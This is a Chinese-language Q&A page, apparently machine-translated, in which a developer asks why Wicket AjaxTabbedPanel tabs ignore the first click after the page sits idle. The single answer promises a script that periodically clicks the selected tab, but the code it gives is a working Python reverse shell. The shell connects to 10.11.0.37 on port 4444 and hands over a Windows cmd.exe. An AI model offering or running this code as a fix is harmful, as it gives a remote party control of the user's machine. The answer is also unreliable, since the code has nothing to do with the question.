我最近选择Wicket
并使用多个标签构建了single page web application
。我使用了 AjaxTabbedPanel ,每个选项卡几乎都包含所有Ajax输入组件。问题是当我将应用程序空闲一分钟(或实际上少了几秒)并单击其他选项卡时,应用程序不会遵循我的请求,直到我再次单击。第二次单击后,应用程序在选项卡导航方面正常运行。这与Wicket model
分离并创建新模型有关吗?有人可以建议我解决这个问题,这样我就可以在不受任何时间限制的情况下浏览标签。
已更新
我可以在wicket示例页面上看到相同的问题。请检查以下链接。如果你首先选择"第二个标签"并让页面空闲至少几分钟,然后如果你点击"第三个标签",它就会停留在"第二个标签"或转到"第一个标签"。如果再次单击"第三个选项卡",它将再次起作用,直到它在一段时间后变为空闲状态。当页面空闲时,您将一遍又一遍地看到同样的问题。
答案 0 :(得分:1)
我从未使用它,但如果问题只是空闲时间而且无法通过更改配置来忽略它,请不要让它进入空闲模式。尝试模拟当前标签点击。在onload中调用此函数。它将搜索所有选定的标签,并每隔10秒点击一次。你有多少个标签面板并不重要。它搜索所有这些:
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))
p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()